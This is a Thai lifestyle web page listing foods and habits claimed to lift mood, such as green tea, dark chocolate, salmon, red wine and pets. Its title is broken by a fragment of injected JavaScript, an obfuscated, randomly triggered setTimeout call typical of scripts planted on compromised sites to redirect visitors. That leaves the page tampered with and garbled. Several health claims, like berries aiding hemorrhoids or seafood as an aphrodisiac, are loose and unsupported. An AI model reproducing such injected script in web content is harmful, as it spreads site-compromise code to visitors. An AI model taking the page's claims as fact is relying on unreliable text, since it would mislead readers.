Food andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Mood : อาหารและอารมณ์
เราไม่สามารถควบคุมทุกสิ่งทุกอย่างได้ แต่คุณสามารถเลือกอะไรบางอย่างในชีวิตประจำวัน เพื่อปรับปรุงสภาพร่างกายและจิตใจของคุณ อย่างเช่น ด้วยตัวเลือกอาหารที่อร่อยเหล่านี้
-ชาเขียว: ช่วยให้สงบและให้พลังงานทั้งวัน
-ข้าวโอ๊ตบด: มีใยอาหารที่ดีต่อสุขภาพ มีคุณสมบัติช่วยลดคอเลสเตอรอล ลดอาการอยากอาหาร
-อาหารทะเล: Aphrodisiac และ Selenium ช่วยลดความเครียด
-ช็อกโกแลตดำ: ช่วยผ่อนคลายกล้ามเนื้อ ช่วยลดความกังวลและภาวะซึมเศร้า
-ปลาแซลมอน: ช่วยในการพัฒนาสุขภาพจิต อารมณ์ดี เหมือนวิ่งตากแดดยามเช้า 5 นาที
-วอลนัท: มีเส้นใยและกรดโอเมก้า3 ช่วยลดไขมันและลดความอยากอาหารของคุณ
-ถั่วเลนทิล: มีกรดโฟลิค, เส้นใย, โปรตีนและช่วยให้ระดับน้ำตาลในเลือดคงที่
-ผักขม: มีสารต้านอะนุมูลอิสระป้องกันเซลล์สมองและเสถียรภาพทางอารมณ์
-อะโวกาโด: ดีสำหรับผิว ผม และเล็บเล็บคุณ
-บลูเบอร์รี่ , สตรอเบอร์รี่: ดีสำหรับผู้ที่เป็นโรคริดสีดวงทวารโรคท้องร่วงและอาการติดเชื้อ
-เครื่องดื่มคาเฟอีนให้น้อยลง: ทำให้มีการนอนหลับที่ดีขึ้นและมีความรู้สึกดีขึ้นทุกๆวัน
-สัตว์เลี้ยงของคุณ: ช่วยให้ใจลืมปัญหาไปพักหนึ่ง
.
-ออกกำลังกาย: ทำให้คุณรู้สึกว่าดูเซ็กซี่ขึ้น
-ช็อกโกแลตร้อน: ช่วยให้ระลึกถึงความหลังที่ดี ดื่มแต่พอดีนะ
-ไวน์แดง: ช่วยลดความเครียดและความดันโลหิต แต่ควรดื่มอย่างพอเหมาะ
-กล้วย: ช่วยเพิ่มพลังงานให้กับคุณและเพิ่มสมาธิ
-อาหารที่คุณชอบ: คุณจะรู้สึกดีขึ้นทันที
